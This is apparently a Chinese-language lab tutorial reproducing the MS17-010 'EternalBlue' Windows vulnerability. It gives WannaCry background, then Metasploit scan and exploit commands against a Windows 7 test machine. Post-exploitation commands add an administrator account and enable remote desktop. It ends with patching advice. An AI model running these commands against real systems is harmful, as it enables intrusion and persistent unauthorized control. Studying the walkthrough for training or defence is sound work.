[漏洞復現] MS17-010 基於"永恆之藍"實現Windows Getshell
1、漏洞概述
2017年5月,被稱為近10年來影響範圍最廣泛「最囂張」的WannaCry勒索病毒席捲全球,據統計,全球共有150多個國家超30萬台終端被感染,波及政府、學校、醫院、金融、航班等各行各業。
一旦中了WannaCry病毒,則電腦文件會被「加密劫持」,黑客要求受害者支付高昂贖金(比特幣)才能拿到解密秘鑰。
當時互聯網上有很多人確實嘗試通過支付贖金解決「被挾持的電腦」,畢竟多年的工作和學習資料比起贖金來講,價值更大。而實際上,很多人即便打錢過去,也無濟於事。
為什麼WannaCry病毒能夠在短短一個月時間,對全球造成這麼大的危害?這裡就必須提到今天的主角:「永恆之藍」(Eternalblue)。
時間追溯到2016年,全球神秘黑客組織影子經紀人( Shadow Brokers)入侵了另外一支技術高超的黑客團隊 方程式組織(Equation Group),並拿到後者部分泄密武器。
而方程式組織其實便是NSA(美國國家安全局)旗下的黑客團隊,正因此,由國家支持的「核武器級網路軍火庫」正式浮出水面。
Shadow Brokers在拿到這批武器之後,本來打算以100萬比特幣(當時價值5億美元)出售這批「網路軍火庫」,但最終沒有人支付這筆天價費用。
直到2017年4月14號,Shadow Brokers乾脆直接在Github上公開整個武器庫,大量的針對Windows零日漏洞攻擊武器被公開,其中,就包括了上面提到的「永恆之藍」滲透代碼。
繞了這麼一大圈,其實就是想告訴大家一點:
這枚WannaCry勒索病毒,就是黑客拿著美國安全局泄露的永恆之藍攻擊代碼進行研製,並進行大肆勒索傳播。
關於這一點,微軟於2017年5月也公開指責NSA:「美國安全局正是全球勒索病毒的發源地,政府所持有的零日漏洞被泄露到公共領域,造成不可損失的破壞」
直到現在,很多普通用戶仍然單方面吐槽「這是因為Windows系統不夠安全」,把問題直接歸結於微軟。
而實際上,在這件事情上,微軟才是真正的「背鍋俠」,因為Windows系統在2017年3月14號就早早推送了MS17-010的安全更新,若用戶打上這個補丁,就可以避免這次攻擊。
但是,大量的普通用戶沒有更新打補丁的習慣,更不用說那些採用Ghost盜版系統的用戶了。
雖然很多人已經從各種新聞報道和「個人經歷」已經知曉這枚病毒的威力,但是在這裡我們還是花了很多給大家普及了它的來龍去脈,並在這裡給大家一個觀點:
[WannaCry事件] 是21世紀網路安全領域的一個標誌性事件,意味著:
- 國家級別的網路安全對抗早就在秘密展開了,只不過現在剛好被一些黑客組織「戳破」罷了;
- 黑客攻擊事件已經完全滲透到真實世界裡,「比特世界」和「原子世界」邊界徹底被打破;
- 誰掌握零日漏洞以及對應的攻擊武器,誰在「第五空間」就有話語權;
- 類似WannaCry的病毒會越來越多,並且頻率越來越高,例如Bad Rabbit、NotPetya……
2、漏洞復現環境
Kali Linux 2017.03 + Windows 7 sp1
滲透機:Kali Linux (ip:172.16.70.216) 靶機:Windows 7 sp1 (ip:172.16.70.199)永恆之藍漏洞剛出來的時候,當時很多人是用Shadow Brokers泄露的NSA原生攻擊工具來測試,通過「 Fuzzbunch + Eternalblue 組合拳 」,雖然可以做出getshell效果,但是整個實現過程非常麻煩,不太適合安全新手進行快速實踐。
到了Kali Linux 2017.03和Kali Linux 2018版,神器Metasploit直接集成了MS17-010的滲透測試代碼,針對Win7和Server2008可以實現getshell,幾分鐘內就可以將完成整個漏洞復現過程。
註:此實驗環境所用滲透機和靶機,跟之前文章所分享一致,可以參考往期推文,並下載所需鏡像=>
[漏洞復現] CVE-2017-11882 通殺所有Office版本
3、實驗流程
①登錄Kali Linux,進入MSF框架,搜索ms17-010代碼
msfconsole msf > search ms17_010
這裡可以得到兩個工具,其中auxiliary/scanner/smb/smb_ms17_010是永恆之藍掃描模塊,exploit/windows/smb/ms17_010_eternalblue是永恆之藍滲透代碼,一般配合使用,前者先掃描,若顯示有漏洞,再進行滲透。
②使用ms17-010掃描模塊,對靶機Win7進行掃描
使用模塊 msf > use auxiliary/scanner/smb/smb_ms17_010 設置目標IP或網段 msf auxiliary(smb_ms17_010) > set RHOSTS 172.16.70.199 執行掃描 msf auxiliary(smb_ms17_010) > run
從截圖可以看到,掃描模塊發現Win7存在漏洞風險(測試過程中,Win7需關閉防火牆)
③使用ms17-010滲透模塊,對靶機Win7進行滲透
使用模塊 msf > use exploit/windows/smb/ms17_010_eternalblue 查看可設置的選項 msf exploit(ms17_010_eternalblue) > show options 設置滲透目標ip msf exploit(ms17_010_eternalblue) > set RHOST 172.16.70.199 執行滲透 msf exploit(ms17_010_eternalblue) > exploit
從最終效果來看,此時Kali Linux通過MS17-010滲透代碼,直接拿到Win7的Shell,之後便可以通過Shell對目標靶機進行控制。
④通過Shell對靶機Win7進行控制
創建用戶名密碼 blue/blue net user blue blue /add 將用戶blue添加入管理組 net localgroup administrators blue /add 開啟遠程桌面功能 REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f Kali遠程桌面連接Win7 rdesktop 172.16.70.199:3389
可以看到,最終Kali通過shell新建了用戶,並通過遠程桌面連接到目標靶機上。
當然,上面這是一個簡單的演示,告訴大家這個漏洞很危險,真正的黑客能做的事情更多,所以還是要多打補丁或按照安全軟體。
4、漏洞修復
①在線更新;開啟Windows Update更新。
②打補丁;此漏洞對應的微軟補丁地址:https://docs.microsoft.com/zh-cn/security-updates/Securitybulletins/2017/ms17-010【了解更多】
知乎專欄:跟傑哥學網路與安全
新浪微博:@拼客學院陳鑫傑
微信公眾號:拼客院長陳鑫傑(搜索"pingsec"即可關注,大牛都在看)
拼客學院:http://www.pinginglab.net(專註網路|安全|運維的IT學院)
【相關文章】
網路安全入坑指南
[冇眼睇]揭秘地下色情誘導網站,上車吧!
拼客學院陳鑫傑:圖解ARP協議(三)ARP防禦篇-如何揪出"內鬼"並"優雅的還手"?
【視頻教程】
5天速成白帽子黑客
一周入門Linux運維
推薦閱讀:
※File Upload (low)
※[漏洞復現] CVE-2018-4878 Flash 0day
※《信息安全之細水長流》基礎三
※繞過PowerShell 執行策略的15種方法